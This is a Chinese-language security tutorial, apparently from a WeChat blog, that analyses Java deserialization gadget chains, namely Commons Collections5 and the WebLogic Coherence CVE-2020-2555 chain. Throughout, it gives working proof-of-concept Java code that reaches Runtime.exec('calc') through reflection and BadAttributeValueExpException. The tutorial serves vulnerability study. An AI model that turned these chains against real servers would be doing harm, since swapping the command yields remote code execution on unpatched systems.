本文作者:Z1NG(信安之路核心成员)
本文以 Commons Collections5 利用链进行学习,进而分析近期公开的 CVE-2020-2555。作为学习调试 JAVA 反序列化漏洞入门的第一步吧。
漏洞最终点 InvokerTransformer 的 transform 方法
省略部分代码,大概如下
public Object transform(Object input)
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
首先使用 getClass 的方式得到一个类对象,再根据这个类对象获取我们想要的方法,最终调用 invoke 方法来反射执行该方法。其中 this.iMethodName, this.iParamTypes, this.iArgs 这些都在构造函数之中被赋值,因此当我们实例化一个 InvokerTransformer 的对象时,这些参数皆可控。构造函数代码如下
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}
如下代码,使用 transform 方法来完成 RCE。
try {
String className = "org.apache.commons.collections.functors.InvokerTransformer";
//获取一个InvokerTransformer类
Class invoketransformer = Class.forName(className);
//获取构造函数
Constructor constructor[] = invoketransformer.getDeclaredConstructors();
//runtime的 exec方法
String runmethod = "exec";
String cmd = "calc";
//获取runtime类
String runtimeClassname = "java.lang.Runtime";
Class runtimeClass = Class.forName(runtimeClassname);
Constructor runtimeConstructor = runtimeClass.getDeclaredConstructor();
System.out.print(runtimeConstructor);
runtimeConstructor.setAccessible(true);
//获取到了runtime对象
Object runtime = runtimeConstructor.newInstance();
//然后开始实例化InvokerTransformer 第一个参数为runtime的exec方法名,第二个参数为exec方法的参数类型,第三个参数为exec的执行参数
Object inf = constructor[1].newInstance(runmethod,new Class[]{String.class},new Object[] {cmd});
System.out.print(inf);
Method itransform= inf.getClass().getDeclaredMethod("transform",Object.class);
itransform.invoke(inf,runtime);
//首先得获得一个runtime类,然后根据这个类拿到runtime对象,
}catch(Exception e) {
System.out.print(e);
}
上述的代码流程大致如下,使用了反射的方式来引入 InvokerTransformer 类,但其实是没有必要的。而使用反射引入 Runtime 类则是有必要的。接着实例化 InvokerTransformer 和 Runtime,用通过 InvokerTransformer 的构造函数,来控制 Runtime 对象要执行的方法和所需的参数,也就是 exec 方法以及参数 calc。当 Runtime 被传入 transfrom 方法后,则会弹出计算器。
为什么 InvokerTransformer 类不需要反射引入而 Runtime 类需要?其实这个问题很简单,所有类都需要加载进程序运行的上下文环境之中才可以得到执行,由于 Runtime 类并没有在这个包里被引入,而 InvokerTransformer 借助于框架的运行机制,能够顺利的引入程序运行的上下文环境,因此不需要再以反射的方式获取。正如在分析 ThinkPHP 的反序列化利用链一样,得益于 ThinkPHP 的自动加载机制,可以自动引入未引入的类文件,这样在构造利用链时,就不用太多考虑哪些类无法使用的情况。但其他情况下也不可忽视类未进入程序上下文环境的问题。
解决引入 Runtime 类对象的问题
上文提及通 transform 来调用 Runtime 对象的 exec 方法达成 RCE。可实际上,我们目前无法向程序注入一个 Runtime 类的对象。在 ChainedTransformer 类中的 transform,提供了一个注入 Runtime 对象的机会。构造函数和 transform 方法代码如下:
public ChainedTransformer(Transformer[] transformers) {
this.iTransformers = transformers;
}
public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}
可以控制 this.iTransformers 的值,并且每一次 transform 的返回值都会传入下一次的 transform 之中,可以构造出一种链式的调用。我需要透过 ChainedTransformer 的 transform 构造如下的一个链,才能完成 RCE
Runtime.class.getMethod("getRuntime").invoke(*null*).exec("calc");
那么 transformers[0] 的值就是要为 Runtime.class,transformers[1] 的值就是要为getMethod("getRuntime")。当通过反射执行完 getRuntime 方法时,此时会就得到一个 Runtime 类的对象。而 Runtime.class 的目的是为了加载进这个类,也就是获取 Class 对象。
获取 Class 对象
Java 反射操作的是 java.lang.Class 对象,所以我们需要先想办法获取到 Class 对象,通常我们有如下几种方式获取一个类的 Class 对象:
类名.class,如: com.anbai.sec.classloader.TestHelloWorld.class
Class.forName("com.anbai.sec.classloader.TestHelloWorld")。
classLoader.loadClass("com.anbai.sec.classloader.TestHelloWorld");
根据上述,可以构造出 transform 的结构如下:
Transformer[] transformers = new Transformer[]{
// 获取Runtime类对象
new ConstantTransformer(Runtime.class),
// 获取到getRuntime方法
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
//执行getRuntime方法来获取一个Runtime类的对象
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
// 最终调用exec("calc")
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"})
};
其中,ConstantTransformer 的构造函数和 transform 方法如下:
public ConstantTransformer(Object constantToReturn) {
this.iConstant = constantToReturn;
}
public Object transform(Object input) {
return this.iConstant; //return Runtime.class
}
如上代码,很好的提供了引入 Runtime.class 类对象的机会。最终通过 ChainedTransformer 类执行 RCE 的代码如下:
try{
Transformer[] transformers = new Transformer[]{
// 传入Runtime类
new ConstantTransformer(Runtime.class),
// 使用Runtime.class.getMethod()反射调用Runtime.getRuntime()
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
// invoke()调用Runtime.class.getMethod("getRuntime").invoke(null)
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
// 调用exec("calc")
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"})
};
ChainedTransformer obj = new ChainedTransformer(transformers);
obj.transform(null);
}catch (Exception e){
System.out.print(e);
}
值得一提的是,如下代码中有一个 new Class[0],如果没有传入一个这个空对象,这会报找不到 getMethod 的异常。传入这样的数据是为了满足 getMethod 的形参列表才能正确获取
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]})
回溯-引入调用链
上文已经成功的构造了,一个能够执行 RCE 操作的利用链,其中最重要的是通过链式调用引入了 Runtime 的对象。现在需要回溯,找到一个地方调用 ChainedTransformer 的 transform 方法。
方法一
在 TransformedMap 中,存在如下代码:
protected Object transformValue(Object object) {
return this.valueTransformer == null ? object : this.valueTransformer.transform(object);
}
如果可以控制 this.valueTransformer 的值为 ChainedTransformer,那就 OK 了。
public Object put(Object key, Object value) {
key = this.transformKey(key);
value = this.transformValue(value);
return this.getMap().put(key, value);
}
其中在 put 方法调用了 transformValue 方法。构造函数如下,显然可以通过实例化 TransformeMap 来控制 this.valueTransformer 的值:
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
而实例化需要使用如下的静态方法:
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
其中根据传参列表的要求,第一个参数需要是 Map,而这是一个接口需要寻找实现了这个接口的类,如 IdentityMap、hashedMap 都可以,根据上述代码,我们可以构造如下代码:
Transformer[] transformers = new Transformer[]{
// 传入Runtime类
new ConstantTransformer(Runtime.class),
// 使用Runtime.class.getMethod()反射调用Runtime.getRuntime()
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
// invoke()调用Runtime.class.getMethod("getRuntime").invoke(null)
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
// 调用exec("calc")
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new IdentityMap();
Map tansformedmap= TransformedMap.decorate(map,null,chainedTransformer);
tansformedmap.put('a','a');
在调用 put 函数时,则触发了 ChainedTransformer 的 transform。不单单是 put,setValue 也会触发,此时可以是调用代理类,来执行 Map 接口的 Transformer 方法,触发序列化。
sun.reflect.annotation.AnnotationInvocationHandler 类实现了 java.lang.reflect.InvocationHandler (Java 动态代理)接口和 java.io.Serializable 接口,它还重写了 readObject 方法,在 readObject 方法中还间接的调用了 TransformedMap中MapEntry 的 setValue 方法,从而也就触发了 transform 方法,完成了整个攻击链的调用。
map.put("value", "value");
使用 TransformedMap 创建一个含有恶意调用链的 Transformer 类的 Map 对象:
Map transformedMap = TransformedMap.decorate(map, null, transformedChain);
获取 AnnotationInvocationHandler 类对象:
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
获取 AnnotationInvocationHandler 类的构造方法
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
设置构造方法的访问权限
constructor.setAccessible(true);
创建含有恶意攻击链 (transformedMap) 的 AnnotationInvocationHandler 类实例,等价于:
Object instance = new AnnotationInvocationHandler(Target.class, transformedMap);
Object instance = constructor.newInstance(Target.class, transformedMap);
方法二
//省略
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new IdentityMap();
Map lazyMap = LazyMap.decorate(map,chainedTransformer);
lazyMap.get('a');
如上所示,可以通过 lazyMap 中的 get 触发。是可以控制 this.factory 为 ChainedTransformer 对象。
public Object get(Object key) {
if (!super.map.containsKey(key)) {
Object value = this.factory.transform(key);
super.map.put(key, value);
return value;
} else {
return super.map.get(key);
}
}
可以看到 TiedMapEntry 类中 getValue 调用了 get 方法,并且可以控制 map 参数。toString 调用了 getValue 方法,回溯 toString 方法。
public TiedMapEntry(Map map, Object key) {
this.map = map;
this.key = key;
}
public Object getValue() {
return this.map.get(this.key);
}
public String toString() {
return this.getKey() + "=" + this.getValue();
}
可以找到 BadAttributeValueExpException,可以执行任意类的 toString,其构造函数如下:
public BadAttributeValueExpException (Object val) {
this.val = val == null ? null : val.toString();
}
当我们实例化的这个类,并且传入一个 TiedMapEntry 类的对象时,则可以触发 RCE。但在反序列化的时候,是无法控制构造函数的传参,此时我们能做的只是通过反射来构造一个 BadAttributeValueExpException 对象,并且将里面的各项属性赋予我们所需要的值。真正的触发点则是要在 readObject 的时候反序列化而触发这个链。原因在于 readObject 在序列化时被调用,而其中可以通过反射来控制 val 属性的值达到执行 TiedMapEntry 类的 toString 的目的。最终完成 RCE:
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);
if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString();
} else { // the serialized object is from a version without JDK-8019292 fix
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
于是,最终的 POC 如下:
public static void TestMap(){
Transformer[] transformers = new Transformer[]{
// 传入Runtime类
new ConstantTransformer(Runtime.class),
// 使用Runtime.class.getMethod()反射调用Runtime.getRuntime()
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
// invoke()调用Runtime.class.getMethod("getRuntime").invoke(null)
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
// 调用exec("calc")
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new IdentityMap();
Map lazyMap = LazyMap.decorate(map,chainedTransformer);
TiedMapEntry entry = new TiedMapEntry(lazyMap,1);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
try {
Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException, entry);
Test.searialize(badAttributeValueExpException);
}catch (Exception e){
}
}
这就是 ysoserial 中的 CommonsCollections5。
Weblogic cve-2020-2555 反序列化
前段时间出了 Weblogic 的反序列化利用的具体详情,实质上是 Weblogic 中的 Coherence.jar 出现的问题,在学习的时候可以只引入 jar 包即可,不需要整体安装 weblogic。跟进之后发现整体利用方式和 CommonsCollections5 的利用方式比较像。具体分析如下:
在 ReflectionExtractor.class 中存在如下代码,显然以反射的方式动态执行。想要执行任意函数需要控制 method,oTarget 和 this.m_aoParam,从构造函数来看,上述参数皆可控:
public ReflectionExtractor(String sMethod, Object[] aoParam, int nTarget) {
azzert(sMethod != null);
this.m_sMethod = sMethod;
this.m_aoParam = aoParam;
this.m_nTarget = nTarget;
}
public E extract(T oTarget) {
if (oTarget == null) {
return null;
} else {
Class clz = oTarget.getClass();
try {
Method method = this.m_methodPrev;
if (method == null || method.getDeclaringClass() != clz) {
this.m_methodPrev = method = ClassHelper.findMethod(clz, this.getMethodName(), ClassHelper.getClassArray(this.m_aoParam), false);
}
return method.invoke(oTarget, this.m_aoParam);
如下代码举例使用 ReflectionExtractor 进行任意代码执行。注意,此处是手动生成了一个 Runtime 对象传入,但在实际利用中,此处无法直接注入一个 Runtime 对象:
Runtime runtime = Runtime.getRuntime();
Object[] cmd = {new String("calc"),null};
ReflectionExtractor RelfE = new ReflectionExtractor("exec",cmd,1);
RelfE.extract(runtime);
回顾 CC5 利用链,存在一处链式调用。在此处也存在类似的代码:
public E extract(Object oTarget) {
ValueExtractor[] aExtractor = this.getExtractors();
int i = 0;
for(int c = aExtractor.length; i < c && oTarget != null; ++i) {
oTarget = aExtractor[i].extract(oTarget);
}
return oTarget;
}
和 CC5 一样,同样以链式调用的方式返回一个 oTarget,那我们的目标就是在此处生成 Runtime.class.getMethod("Runtime").invoke(null).exec(),使用 ChainedExtractor 进行链式调用的构造,显然我们可以通过 ReflectionExtractor 数组构造出 getMethod("Runtime").invoke(null).exec() 这部分,但是还得手动注一个 Runtime.class 才可以构造完整:
ReflectionExtractor[] ref1 = {
new ReflectionExtractor("getMethod",new Object[]{"getRuntime",new Class[0]}),
new ReflectionExtractor("invoke",new Object[]{null,new Class[0]}),
new ReflectionExtractor("exec",new Object[]{"calc",null})
};
ChainedExtractor ce = new ChainedExtractor(ref1);
根据序列化的特点,可以生产一个 ChainedExtractor 对象,且将各项属性进行设置关键点,如何在此处注入一个 Runtime.class:
ce.extract(Runtime.class);
于是回溯,LimitFilter 类中,toString 方法。会执行 ValueExtractor 的 extractor 方法,而 ValueExtractor 是个接口,上诉的 ChainedExtractor 和 ReflectionExtractor 都实现了这个接口。并且,可以控制 this.m_oAnchorTop 的值,因此我们在此可以注入一个 Runtime.class,这样就完整构造出了 Runtime.class.getMethod("Runtime").invoke(null).exec()
public String toString() {
StringBuilder sb = new StringBuilder("LimitFilter: (");
sb.append(this.m_filter).append(" [pageSize=").append(this.m_cPageSize).append(", pageNum=").append(this.m_nPage);
if (this.m_comparator instanceof ValueExtractor) {
ValueExtractor extractor = (ValueExtractor)this.m_comparator;
sb.append(", top=").append(extractor.extract(this.m_oAnchorTop)).append(", bottom=").append(extractor.extract(this.m_oAnchorBottom));
} else if (this.m_comparator != null) {
sb.append(", comparator=").append(this.m_comparator);
}
如下代码是使用 LimitFilter的toString 方法做到代码执行
//省略部分构造
LimitFilter limitFilter = new LimitFilter();
limitFilter.setTopAnchor(Runtime.class);
limitFilter.setComparator(ce);
limitFilter.toString();
还记得 CC5 链里的 BadAttributeValueExpException 吗?此类重写了 readObject 方法,可以执行任意类的 toString 方法。所以,利用代码如下:
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
try {
Field val = badAttributeValueExpException.getClass().getDeclaredField("val");
val.setAccessible(true);
val.set(badAttributeValueExpException,limitFilter);
POC.S(badAttributeValueExpException);
}catch (Exception e){}
利用效果如图
本文始发于微信公众号(信安之路):学习调试 JAVA 反序列化漏洞入门案例
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论